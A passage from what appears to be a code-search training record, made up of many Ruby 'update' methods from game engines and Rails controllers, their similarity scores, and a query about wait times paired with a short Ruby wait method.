@map.display_x/4\n #s.oy = @map.display_y/4\n s.update \n }\n @fogs.each{ |p| p.update }\n @weather.update if @weather\n #@fog.update\n #@overlay.update\n @hud.update\n\n # Try to delete anything\n @sparks.delete_if{ |s| s.done? }\n @pops.delete_if{ |s| s.done? }\n\n # Could delete erased characters here\n\n @vp_weather.ox = $map.display_x / 4\n @vp_weather.oy = $map.display_y / 4\n\n\n # Rebuild the map\n reload_map if @map.id != @tilemap.map_id\n \n end", "def update\n respond_to do |format|\n if @nowscene.update(nowscene_params)\n format.html { redirect_to @nowscene, notice: 'Nowscene was successfully updated.' }\n format.json { render :show, status: :ok, location: @nowscene }\n else\n format.html { render :edit }\n format.json { render json: @nowscene.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to edit_scene_path(@scene.id), notice: 'Scene was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(main = false)\n @last_pa = [@parallax_x, @parallax_y]\n refresh if @need_refresh\n effectus_trigger_refresh if @effectus_need_refresh\n if main\n update_interpreter \n else\n update_events\n update_vehicles\n end\n update_scroll\n update_parallax\n @screen.update\n @effectus_dref_display_x = (@display_x * 32).floor / 32.0\n @effectus_dref_display_y = (@display_y * 32).floor / 32.0\n end", "def update\n if @state == :game\n @player.update\n @level.update\n end\n end", "def update\n colourable_update\n movable_update\n end", "def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully updated.\" }\n format.json { render :show, status: :ok, location: @scene }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @scene.update_attributes(params[:scene])\n format.html { redirect_to edit_project_scene_path(@scene.project, @scene) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_graphics\n @spriteset.update\n end", "def main\n\t\tstart\n\t\twhile self == SceneManager.scene\n\t\t\tGraphics.update\n\t\t\tController.keyboard.update\n\t\t\tupdate\n\t\t\tController.wait_next_frame\n\t\tend\n\t\tterminate\n\tend", "def update_screen\n @screen.update()\n end", "def update\n\t\t\t\tprotect_runtime_errors do\n\t\t\t\t\tif @clear_history\n\t\t\t\t\t\t@history_cache = nil \n\t\t\t\t\t\tGC.start\n\t\t\t\t\tend\n\t\t\t\t\t@window.show_text(CP::Vec2.new(352,100), \"ERROR: See terminal for details. Step back to start time traveling.\")\n\t\t\t\t\t\n\t\t\t\t\t# -- update files as necessary\n\t\t\t\t\t# need to try and load a new file,\n\t\t\t\t\t# as loading is the only way to escape this state\n\t\t\t\t\tdynamic_load @files[:body]\n\t\t\t\t\t\n\t\t\t\t\t@ui.update @window, self, @wrapped_object, turn_number()\n\t\t\t\tend\n\t\t\tend", "def intermediate_update\r\n #\r\n # Call update() on all game objects belonging to the main window.\r\n #\r\n @game_objects.update\r\n \r\n #\r\n # Call update() on all game objects belonging to the current game state.\r\n #\r\n\r\n #\r\n # Call update() on our game_state_manger\r\n # -> call update on active states\r\n # -> call update on all game objects in that state\r\n #\r\n @game_state_manager.update\r\n end", "def update_class_text\n if $scene != @last_scene\n @last_scene = $scene\n @class_text.text = \"Current scene : #{$scene.class}\"\n end\n end", "def update\n super\n # update_bitmap # Not needed for now\n update_screen # Update the position the graphic should be displayed\n # update_frame # Update the frame count (if wanted later)\n end", "def update\n super\n @forge_animator.update\n end", "def update\n @@game_state.update unless Game.fading? \n \n # update fading\n Game.end_fade! if Gosu::milliseconds >= @@end_fade and Game.fading?\n \n #update changing between game states\n if @@change_game_state and not Game.fading?\n @@game_state = @@change_game_state\n @@change_game_state = nil\n Game.fade_on(FadingTime)\n end\n end", "def update\r\n entities.each { |e| e.flush }\r\n call_before_player_update\r\n p_players.each { |p|\r\n p.performed nil\r\n p.scene.update\r\n }\r\n p_entities.each { |e| e.update }\r\n call_player_update\r\n call_update\r\n p_subplots.each { |s| s.update unless s.concluded? }\r\n p_subplots.delete_if { |s| s.concluded? }\r\n end", "def update\n respond_to do |format|\n if @scene_object.update(scene_object_params)\n format.html { redirect_to @scene_object, notice: 'Scene object was successfully updated.' }\n format.json { render :show, status: :ok, location: @scene_object }\n else\n format.html { render :edit }\n format.json { render json: @scene_object.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @space_scene.update(space_scene_params)\n format.html { redirect_to @space_scene, notice: 'Space scene was successfully updated.' }\n format.json { render :show, status: :ok, location: @space_scene }\n else\n format.html { render :edit }\n format.json { render json: @space_scene.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_graphics\n @base_ui&.update_background_animation\n @name_input_ui&.update\n @hint_ui&.update\n end", "def update_graphics\n @base_ui.update_background_animation\n end", "def update\n @loc += vel\n end", "def update\n @player = @player.get_state\n self.run\n self\n end", "def update\r\n dispatch_input_for(self)\r\n \r\n @input_clients.each { |game_object| dispatch_input_for(game_object) unless game_object.paused? } \r\n \r\n @game_objects.update\r\n end", "def update\n update_input\n update_position\n end", "def sprite_set_update\n $game_screen.update\n $game_map.refresh if $game_map.need_refresh\n @spriteset.update\n end", "def update\n\t\tif !@winner\n\t\t\thandle_inputs\n\t\t\tupdate_projectiles\t\n\t\t\thandle_projectile_player_colision\t\n\t\telse\n\t\t\t# Wait 2.5 seconds and the re-initialize the game\n\t\t\tsleep(2.5)\n\t\t\tinitialize\n\t\tend\n\tend", "def update\n return if self.disposed?\n @viewport.color.alpha -= 8 if @viewport.color.alpha > 0\n @sprites[\"bg\"].update\n @sprites[\"streak\"].update\n @sprites[\"shine\"].opacity += 16/self.delta if @sprites[\"shine\"].opacity < 255\n @sprites[\"shine\"].angle += 8/self.delta if $PokemonSystem.screensize < 2\n @sprites[\"shine\"].zoom_x -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].zoom_y -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].toggle *= -1 if @sprites[\"shine\"].zoom_x <= 0.8 || @sprites[\"shine\"].zoom_x >= 1.2\n return if !@started\n @sprites[\"vs\"].x += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].y += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].toggle *= -1 if (@sprites[\"vs\"].x - 92).abs >= 2*self.delta\n end", "def update(state_manager, game)\n\n end", "def start_update \n @updating = $app.animate(UPDATE_SPEED) do\n update\n end\n end", "def update\n update_move # Update movements (Basic Modules)\n update_smove # Update smooth movement (Basic Modules)\n update_rotation # Update rotation\n @shadow_point.update_move\n update_sequence\n end", "def update_graphics\n @base_ui.update_background_animation\n update_arrow\n @pokeface.update_graphics\n end", "def update\n respond_to do |format|\n if @scene.update(scene_params)\n @scene.content = Sanitize.fragment(@scene.content, Sanitize::Config::RELAXED)\n @scene.save\n format.html { redirect_to @scene, notice: 'Scene was successfully updated.' }\n format.json { render :show, status: :ok, location: @scene }\n else\n format.html { render :edit }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end", "def start_scene; end", "def update\n super\n update_bitmap # Update HP Graphic\n update_screen # Update the position the graphic should be displayed\n end", "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "def update\n super\n if BattleManager.in_turn?\n process_event\n process_action\n end\n BattleManager.judge_win_loss unless BattleManager.victory_phase?\n if BattleManager.victory_phase?\n if @victory_score.done and @victory_score.active\n sfx = CP::VICTORY::IMAGE_SFX\n vol = CP::VICTORY::SFX_VOL\n pit = CP::VICTORY::SFX_PIT\n RPG::SE.new(sfx, vol, pit).play unless sfx.nil?\n @victory_score.active = false\n @victory_item.active = true\n end\n end\n end", "def update_world\n update_fish\n update_eggs\n update_food\n update_bubbles\n end", "def update_scene_index\n if (scene = SceneManager.stack.find {|scene| scene.is_a?(Scene_Bestiary) })\n scene.set_index(SES::Bestiary.get_enemy_list.index(@id))\n end\n end", "def update\n \t@currentState.update\n\tend", "def update\n super\n unless @unit.needs_deletion #@unit.health > 0\n update_bitmap # Update unit animation frame\n update_screen # Update the position the graphic should be displayed\n update_frame # Update the frame count and flag graphic\n update_movement if @is_moving # If unit is moving, update its movement\n end\n end", "def handleUpdate(sprite) end", "def update\n\n super\n\n # Force weather\n @vp_weather.ox = 0#$map.display_x / 4\n @vp_weather.oy = 0#$map.display_y / 4\n\n @hud.update\n @message.update\n\n # Draw phase\n #@dbg_phase.bitmap.fill(Color.new(0,0,0))\n #@dbg_phase.bitmap.draw_text(10,0,150,30,@phase.to_s,0)\n\n update_phase\n\n end", "def update\n update_phase\n end", "def update_transition\r\n # If transition processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == ''\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, 'Graphics/Transitions/' +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def update\n\n # This example makes the objects orbit around the center of the screen.\n # The objects make one orbit every 4 seconds\n\n @rect.topleft = [ @posx-10, @posy-10] \n end", "def update\n self.caption = \"Tennis - [FPS: #{Gosu::fps.to_s}]\"\n if not @game_over\n # Move the game objects around.\n @player.update\n if @twoplayer\n @player2.update\n else\n @bot.update\n end\n @ball.update\n # No need to call update on wall, since it doesn't move :-)\n end\n end", "def update_transition\r\n # If transition is processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def update\n\t\tif Gosu::button_down? Gosu::KbLeft or Gosu::button_down? Gosu::GpLeft then @player.turn_left\n\t\tend\n\t\tif Gosu::button_down? Gosu::KbRight or Gosu::button_down? Gosu::GpRight then @player.turn_right\n\t\tend\n\t\tif Gosu::button_down? Gosu::KbUp or Gosu::button_down? Gosu::GpButton0 then @player.accelerate\n\t\tend\n\t\t\n\t\t@player.move\n\t\t@player.collect_stars(@stars)\n\n\t\tif rand(100) < 4 and @stars.size < 25 then\n\t\t\t@stars.push(Star.new(@star_anim))\n\t\tend\n\tend", "def update(current)\n end", "def update() end", "def update\n \t\n end", "def update\n \t\n end", "def update\n @vel += acc\n @loc += vel\n @lifespan -= 1.0\n end", "def set_nowscene\n @nowscene = Nowscene.find(params[:id])\n end", "def update\n super\n $game_chrono.update\n @window_gameDescription.update() unless @window_gameDescription == nil\n @inPauseMode = false\n #sleep(0.5)\n if @spriteGem1 != nil && @spriteGem1.moving && @spriteCursor1 != nil && @spriteGem2 != nil && @spriteCursor2 != nil \n update_switch2Gem()\n elsif( @spriteGems != nil ) #&& @spriteGems[6].moving )\n#~ for y in 0...BOARD_MAX_Y\n#~ #@spriteGems[y].update\n#~ # if( isUpdating == false )\n#~ # sleep(2)\n#~ # end\n#~ end\n end\n if( @isHeroAttacking == true && @HeroAttackZone != nil )\n \n if ( @HeroAttackZone.update )\n @inPauseMode = true \n #@HeroAttackZone.doAnimation( 1, false )\n # @HeroAttackZone.start_animation($data_animations[1], false)\n else\n @inPauseMode = false \n @HeroAttackZone = nil\n end \n end\n \n end", "def update\n end", "def update\n update_animation(false) if @animated\n update_position if @moving\n super\n end", "def update(delta)\n# delta = 20.0\n return if paused?\n \n notify :before_update, delta\n game_state.manager(:game_object).game_objects.each { |game_object| game_object.update(delta) if game_object.respond_to? :update}\n notify :update, delta\n notify :after_update, delta\n end", "def update\n super\n update_menu_background\n @command_window.update\n @gold_window.update\n @status_window.update\n if @submenu_window\n @submenu_window.update\n @submenu_window.dispose if @submenu_window.openness == 0\n @submenu_window = nil if @submenu_window.disposed?\n end\n if @command_window.active\n update_command_selection\n elsif @status_window.active\n update_actor_selection\n elsif @submenu_window.active\n update_submenu_selection\n end\n end", "def update\n if @scene_of_action.update(scene_of_action_params)\n flash[:success] = \"Место действия успешно обновлено!\"\n redirect_to scene_of_actions_url\n else\n render 'edit'\n end\n end", "def update(box = true)\n # animate bars\n if @sprites[\"bg\"].visible && box\n @sprites[\"box1\"].zoom_x += @viewport.width/16 if @sprites[\"box1\"].zoom_x < @viewport.width\n @sprites[\"box2\"].zoom_x += @viewport.width/16 if @sprites[\"box2\"].zoom_x < @viewport.width\n end\n # updates rest of scene\n @sprites[\"bg\"].x += 2 if @sprites[\"bg\"].visible && @sprites[\"bg\"].x < 0\n @sprites[\"tr\"].x -= 2 if @sprites[\"tr\"].visible && @sprites[\"tr\"].x > 0\n @sprites[\"str\"].update if @sprites[\"str\"].visible\n # fade\n @sprites[\"fade\"].x += @sprites[\"fade\"].bitmap.width/8 if @sprites[\"fade\"].x < (@viewport.width + @sprites[\"fade\"].ox)\n if (@sprites[\"fade\"].x >= @viewport.width/2 && !@sprites[\"bg\"].visible)\n self.visible = true\n end\n end", "def update\n # update_move\n # update_tone_change\n update_rotate\n end", "def update\n \n end", "def update\n @short = true\n @scene = @character_scene.scene\n respond_to do |format|\n if @character_scene.update(character_scene_params)\n format.html do\n redirect_to return_or_default_path(scene_path(@character_scene.scene)), notice: 'Character scene was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @character_scene }\n flash.now[:notice] = \"Character scene was successfully updated.\"\n format.turbo_stream { render \"shared/update\", locals: { object: @character_scene, short: @short } }\n else\n format.html { render :edit }\n format.json { render json: @character_scene.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if $game_system.battle_interpreter.running?\n $game_system.battle_interpreter.update\n if $game_temp.forcing_battler == nil\n unless $game_system.battle_interpreter.running?\n unless judge\n setup_battle_event\n end\n end\n if @phase != 5\n @status_window.refresh\n end\n end\n end\n $game_system.update\n $game_screen.update\n if $game_system.timer_working and $game_system.timer == 0\n $game_temp.battle_abort = true\n end\n @help_window.update\n @party_command_window.update\n @actor_command_window.update\n @status_window.update\n @message_window.update\n @spriteset.update\n if $game_temp.transition_processing\n $game_temp.transition_processing = false\n if $game_temp.transition_name == \"\"\n Graphics.transition(20)\n else\n Graphics.transition(40, \"Graphics/Transitions/\" +\n $game_temp.transition_name)\n end\n end\n if $game_temp.message_window_showing\n return\n end\n if @spriteset.effect?\n return\n end\n if $game_temp.gameover\n $scene = Scene_Gameover.new\n return\n end\n if $game_temp.to_title\n $scene = Scene_Title.new\n return\n end\n if $game_temp.battle_abort\n $game_system.bgm_play($game_temp.map_bgm)\n battle_end(1)\n return\n end\n if @wait_count > 0\n @wait_count -= 1\n return\n end\n\n # this one holds the battle while the player moves\n for actor in @spriteset.actor_sprites\n if actor.moving\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if actor.y >= 200\n actor.bush_depth = 12\n else\n actor.bush_depth = 0\n end\n end\n end\n return\n end\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if actor.y >= 200\n actor.bush_depth = 24\n else\n actor.bush_depth = 0\n end\n end\n end\n end\n # and this one is for the enemy... \n for enemy in @spriteset.enemy_sprites\n if enemy.moving# and $game_system.animated_enemy\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if enemy.y >= 200\n enemy.bush_depth = 24\n else\n enemy.bush_depth = 0\n end\n end\n end\n return\n end\n if $FOG == \"on\"\n if $FOG_E or $FOG_A\n if enemy.y >= 200\n enemy.bush_depth = 12\n else\n enemy.bush_depth = 0\n end\n end\n end\n end\n \n if $game_temp.forcing_battler == nil and\n $game_system.battle_interpreter.running?\n return\n end\n case @phase\n when 1\n update_phase1\n when 2\n update_phase2\n when 3\n update_phase3\n when 4\n update_phase4\n when 5\n update_phase5\n end\n end", "def update\n\t\t# update_old\n\t\tneedCalculatePosition = false\n\t\tcalculatePositionParam = nil\n\t\tif @transition[\"active\"]\n\t\t\t@transition[\"frame\"] += 1\n\t\t\tif @transition[\"type\"] == \"linear\"\n\t\t\t\txx = @transition[\"ease\"].call(@transition[\"frame\"], @transition[\"stX\"], @transition[\"edX\"]-@transition[\"stX\"], @transition[\"totFrame\"])\n\t\t\t\tyy = @transition[\"ease\"].call(@transition[\"frame\"], @transition[\"stY\"], @transition[\"edY\"]-@transition[\"stY\"], @transition[\"totFrame\"])\n\t\t\t\t\n\t\t\t\tself.rect.x = xx.round\n\t\t\t\tself.rect.y = yy.round\n\t\t\t\tif @transition[\"frame\"] >= @transition[\"totFrame\"]\n\t\t\t\t\t@transition[\"active\"] = false\n\t\t\t\t\tself.rect.x = @transition[\"edX\"]\n\t\t\t\t\tself.rect.y = @transition[\"edY\"]\n\t\t\t\t\t@transition[\"callback\"].call(self,:move) if @transition[\"callback\"]\n\t\t\t\tend\n\t\t\telsif @transition[\"type\"] == \"curve\"\n\t\t\t\tangle = @transition[\"ease\"].call(@transition[\"frame\"], @transition[\"stAngle\"], @transition[\"edAngle\"]-@transition[\"stAngle\"], @transition[\"totFrame\"])\n\t\t\t\tneedCalculatePosition = true\n\t\t\t\tcalculatePositionParam = angle\n\t\t\t\t\n\t\t\t\t#calculatePosition(@transition[\"currAngle\"])\n\t\t\t\t\n\t\t\t\t#self.rect.x = @transition[\"XValue\"].round\n\t\t\t\t#self.rect.y = @transition[\"YValue\"].round\n\t\t\t\tif @transition[\"frame\"] >= @transition[\"totFrame\"]\n\t\t\t\t\t@transition[\"active\"] = false\n\t\t\t\t\t@cAngle = @transition[\"edAngle\"]\n\t\t\t\t\tcalculatePosition\n\t\t\t\t\tcalculatePositionParam = @cAngle\n\t\t\t\t\t@transition[\"callback\"].call(self,:moveCurve) if @transition[\"callback\"]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif @animationRadius[\"active\"]\n\t\t\t@animationRadius[\"frame\"] += 1\n\t\t\t@radius = @animationRadius[\"ease\"].call(@animationRadius[\"frame\"], @animationRadius[\"start\"], @animationRadius[\"end\"]-@animationRadius[\"start\"], @animationRadius[\"totFrame\"])\n\t\t\tneedCalculatePosition = true\n\t\t\tif @animationRadius[\"frame\"] >= @animationRadius[\"totFrame\"]\n\t\t\t\t@animationRadius[\"active\"] = false\n\t\t\t\t@radius = @animationRadius[\"end\"]\n\t\t\t\tcalculatePosition\n\t\t\t\t@animationRadius[\"callback\"].call(self,:animateRadius) if @animationRadius[\"callback\"]\n\t\t\tend\n\t\tend\n\t\tif @transitionCirc[\"active\"]\n\t\t\t@transitionCirc[\"frame\"] += 1\n\t\t\tcX = @transitionCirc[\"ease\"].call(@transitionCirc[\"frame\"], @transitionCirc[\"stX\"], @transitionCirc[\"edX\"]-@transitionCirc[\"stX\"], @transitionCirc[\"totFrame\"])\n\t\t\tcY = @transitionCirc[\"ease\"].call(@transitionCirc[\"frame\"], @transitionCirc[\"stY\"], @transitionCirc[\"edY\"]-@transitionCirc[\"stY\"], @transitionCirc[\"totFrame\"])\n\t\t\t@circX = cX.round\n\t\t\t@circY = cY.round\n\t\t\tneedCalculatePosition = true\n\t\t\tif @transitionCirc[\"frame\"] >= @transitionCirc[\"totFrame\"]\n\t\t\t\t@transitionCirc[\"active\"] = false\n\t\t\t\t@circX = @transitionCirc[\"edX\"]\n\t\t\t\t@circY = @transitionCirc[\"edY\"]\n\t\t\t\tcalculatePosition\n\t\t\t\t@transitionCirc[\"callback\"].call(self,:moveCirc) if @transitionCirc[\"callback\"]\n\t\t\tend\n\t\tend\n\t\t# Calculate the position just once\n\t\tcalculatePosition(calculatePositionParam) if needCalculatePosition \n\t\t# Animate color\n\t\tif @coloring[\"active\"]\n\t\t\t@coloring[\"frame\"] += 1\n\t\t\t@coloring[\"color\"].red = @coloring[\"ease\"].call(@coloring[\"frame\"], @coloring[\"start\"].red, @coloring[\"end\"].red-@coloring[\"start\"].red, @coloring[\"totFrame\"]) if @coloring[\"start\"].red != @coloring[\"end\"].red\n\t\t\t@coloring[\"color\"].green = @coloring[\"ease\"].call(@coloring[\"frame\"], @coloring[\"start\"].green, @coloring[\"end\"].green-@coloring[\"start\"].green, @coloring[\"totFrame\"]) if @coloring[\"start\"].green != @coloring[\"end\"].green\n\t\t\t@coloring[\"color\"].blue = @coloring[\"ease\"].call(@coloring[\"frame\"], @coloring[\"start\"].blue, @coloring[\"end\"].blue-@coloring[\"start\"].blue, @coloring[\"totFrame\"]) if @coloring[\"start\"].blue != @coloring[\"end\"].blue\n\t\t\t@coloring[\"color\"].alpha = @coloring[\"ease\"].call(@coloring[\"frame\"], @coloring[\"start\"].alpha, @coloring[\"end\"].alpha-@coloring[\"start\"].alpha, @coloring[\"totFrame\"]) if @coloring[\"start\"].alpha != @coloring[\"end\"].alpha\n\t\t\tself.color = @coloring[\"color\"]\n\t\t\tif @coloring[\"frame\"] >= @coloring[\"totFrame\"]\n\t\t\t\t@coloring[\"active\"] = false\n\t\t\t\tself.color = @coloring[\"end\"]\n\t\t\t\t@coloring[\"callback\"].call(self,:coloring) if @coloring[\"callback\"]\n\t\t\tend\n\t\tend\n\t\t# Animate tone\n\t\tif @toning[\"active\"]\n\t\t\t@toning[\"frame\"] += 1\n\t\t\t@toning[\"color\"].red = @toning[\"ease\"].call(@toning[\"frame\"], @toning[\"start\"].red, @toning[\"end\"].red-@toning[\"start\"].red, @toning[\"totFrame\"]) if @toning[\"start\"].red != @toning[\"end\"].red\n\t\t\t@toning[\"color\"].green = @toning[\"ease\"].call(@toning[\"frame\"], @toning[\"start\"].green, @toning[\"end\"].green-@toning[\"start\"].green, @toning[\"totFrame\"]) if @toning[\"start\"].green != @toning[\"end\"].green\n\t\t\t@toning[\"color\"].blue = @toning[\"ease\"].call(@toning[\"frame\"], @toning[\"start\"].blue, @toning[\"end\"].blue-@toning[\"start\"].blue, @toning[\"totFrame\"]) if @toning[\"start\"].blue != @toning[\"end\"].blue\n\t\t\t@toning[\"color\"].grey = @toning[\"ease\"].call(@toning[\"frame\"], @toning[\"start\"].grey, @toning[\"end\"].grey-@toning[\"start\"].grey, @toning[\"totFrame\"]) if @toning[\"start\"].grey != @toning[\"end\"].grey\n\t\t\tself.tone = @toning[\"color\"]\n\t\t\tif @toning[\"frame\"] >= @toning[\"totFrame\"]\n\t\t\t\t@toning[\"active\"] = false\n\t\t\t\tself.tone = @toning[\"end\"]\n\t\t\t\t@toning[\"callback\"].call(self,:toning) if @toning[\"callback\"]\n\t\t\tend\n\t\tend\n\tend", "def update( event )\n dt = event.seconds # Time since last update\n # do nothing else for now\n update_accel\n update_vel( dt )\n update_pos( dt )\n end", "def update\n if @counter < TRANSITION_LENGHT\n @background.opacity = (@counter + 1) * 255 / TRANSITION_LENGHT\n elsif @counter < PHASE2\n base_x = (@counter - TRANSITION_LENGHT + 1) * @max_x * 3 / TEXT_MOVE_LENGHT\n @info_text.x = base_x + @info_ini_x\n @name_text.x = base_x + @name_ini_x\n elsif @counter.between?(PHASE3, PHASE_END)\n @info_text.opacity =\n @name_text.opacity = @background.opacity = (PHASE_END - @counter) * 255 / TRANSITION_LENGHT\n end\n @counter += 1\n end", "def update\n respond_to do |format|\n if @position_scene1.update(position_scene1_params)\n format.html { redirect_to @position_scene1, notice: 'Position scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @position_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @position_scene1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_skill\n if Input.trigger?(Input::B)\n $game_system.se_play($data_system.cancel_se)\n return_scene\n return\n end\n if Input.trigger?(Input::R)\n $game_system.se_play($data_system.cursor_se)\n @actor_index += 1\n @actor_index %= $game_party.actors.size\n $scene = Scene_Combo.new(@actor_index)\n return\n end\n if Input.trigger?(Input::L)\n $game_system.se_play($data_system.cursor_se)\n @actor_index += $game_party.actors.size - 1\n @actor_index %= $game_party.actors.size\n $scene = Scene_Combo.new(@actor_index)\n return\n end\n end", "def update\n @position[0] += @velocity[0]*@dt\n @position[1] += @velocity[1]*@dt\n @center[0] = @position[0] + @size\n @center[1] = @position[1] + @size\n end", "def update\n super\n @layers.each { |layer| layer.update }\n update_move\n self\n end", "def update\n respond_to do |format|\n if @vertices_scene1.update(vertices_scene1_params)\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n unless @state == :paused\n # Update player\n # TODO externalize this part PlayerCtrl\n if @player.is_alive? or @player.resurrecting?\n @player.move_left if button_down? Gosu::Button::KbLeft or button_down? Gosu::Button::GpLeft\n @player.move_right if button_down? Gosu::Button::KbRight or button_down? Gosu::Button::GpRight\n @player.accelerate if button_down? Gosu::Button::KbUp or button_down? Gosu::Button::GpUp\n @player.brake if button_down? Gosu::Button::KbDown or button_down? Gosu::Button::GpDown\n @player.shoot if button_down? Gosu::Button::KbZ or button_down? Gosu::GpButton0\n end\n @player.update\n \n # Check touching bullets\n @bullets.reject! { |b| b.touch? @ennemies }\n @e_bullets.reject! { |b| b.touch? @player }\n \n # Update bullets and ennemies\n # Remove all objects whose update method returns false. \n @bullets.reject! { |o| o.update == false }\n @e_bullets.reject! { |o| o.update == false }\n @ennemies.reject! { |e| e.update == false }\n @bonuses.reject! { |b| b.update == false }\n @particles.reject! { |p| p.update == false }\n \n #@gl_background.scroll\n \n # Generate new ennemies\n @finished = @w_generator.update\n end\n \n end", "def update\n # update each projectile and trap\n $BlizzABS.cache.remotes.each {|remote| remote.update}\n # update player battle input\n @controls.update\n # update summons\n update_summons\n # stop if scene is not Scene_Map\n return if !$scene.is_a?(Scene_Map)\n # update killed events\n update_killed\n # remove expired events from the map\n event_removal\n # remove expired summons from the map\n summon_removal\n # check special status effects\n check_special_states\n end", "def set_scene\n @scene = Scene.find(params[:id])\n end", "def set_scene\n @scene = Scene.find(params[:id])\n end", "def update\n return if self.disposed?\n @sprites[\"bg\"].update\n @sprites[\"streak\"].update\n @sprites[\"shine\"].angle += 8.delta_sub if $PokemonSystem.screensize < 2\n @sprites[\"shine\"].zoom_x -= (0.04*@sprites[\"shine\"].toggle).delta_sub(true)\n @sprites[\"shine\"].zoom_y -= (0.04*@sprites[\"shine\"].toggle).delta_sub(true)\n @sprites[\"shine\"].toggle *= -1 if @sprites[\"shine\"].zoom_x <= 0.8 || @sprites[\"shine\"].zoom_x >= 1.2\n # skips the animation that is not called before the end of the whole animation\n return if !@started\n @viewport.color.alpha -= 16.delta_sub if @viewport.color.alpha > 0\n @sprites[\"trainer_a\"].x -= 1 if @i < 12\n @sprites[\"vs\"].x += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].y += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].toggle *= -1 if (@sprites[\"vs\"].x - 140).abs >= 2\n @i += 1 if @i < 128\n end", "def update\r\n # タイマー作動中なら可視に設定\r\n self.visible = $game_system.timer_working\r\n # タイマーを再描画する必要がある場合\r\n if $game_system.timer / 60 != @total_sec # Graphics.frame_rate\r\n # トータル秒数を計算\r\n @total_sec = $game_system.timer / 60#Graphics.frame_rate\r\n # タイマー表示用の文字列を作成\r\n min = @total_sec / 60\r\n sec = @total_sec % 60\r\n # タイマーを描画\r\n self.text = sprintf(\"%02d:%02d\", min, sec)\r\n end\r\n end", "def update(elapsed)\n \n end", "def update\n @node.setTranslateX @node.getTranslateX + @vX\n @node.setTranslateY @node.getTranslateY + @vY\n end", "def run_current\n scene = @scenes.last\n\n scene.scene_arguments = @scene_args.last\n\n scene.setup(*@scene_args.last)\n scene.register_events\n scene.run\n end" ]
[ "0.8933385", "0.8210681", "0.7823911", "0.72394294", "0.718427", "0.6857931", "0.682344", "0.6813313", "0.68010473", "0.6784102", "0.66485065", "0.65682155", "0.6563758", "0.6475375", "0.6439149", "0.6392886", "0.63785446", "0.63681626", "0.6360896", "0.6351463", "0.6310126", "0.62870127", "0.6253859", "0.62377286", "0.6226459", "0.62040603", "0.6177635", "0.61763597", "0.6156", "0.61537164", "0.6133168", "0.6130288", "0.6094795", "0.6090544", "0.6082411", "0.60732895", "0.60700643", "0.60467356", "0.60431254", "0.60402966", "0.60366625", "0.6015204", "0.5999887", "0.5995173", "0.5989107", "0.59859705", "0.59732586", "0.5958457", "0.595667", "0.5956303", "0.59407675", "0.59317076", "0.59249073", "0.59220135", "0.5920666", "0.59167343", "0.59062994", "0.58696496", "0.5860632", "0.58560234", "0.5852898", "0.58449537", "0.58402324", "0.5836917", "0.5821255", "0.5818662", "0.5804708", "0.5803611", "0.57999814", "0.579838", "0.579838", "0.57981", "0.5780861", "0.5775324", "0.57664794", "0.57639796", "0.57616", "0.5759476", "0.5758859", "0.5758085", "0.57535565", "0.5752318", "0.5743558", "0.5741216", "0.5736464", "0.57329214", "0.57327163", "0.5724978", "0.5724896", "0.57172906", "0.5713905", "0.57109916", "0.5709386", "0.5693061", "0.5686377", "0.5686377", "0.5680861", "0.56799823", "0.56793785", "0.56790346", "0.5677727" ]
0.0
-1
Wait:: Allows Wait Times
def wait(duration, variable) for i in 0...duration @wait_time += 1 if variable @wait_time_thirst if variable == false break if i >= duration / 2 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
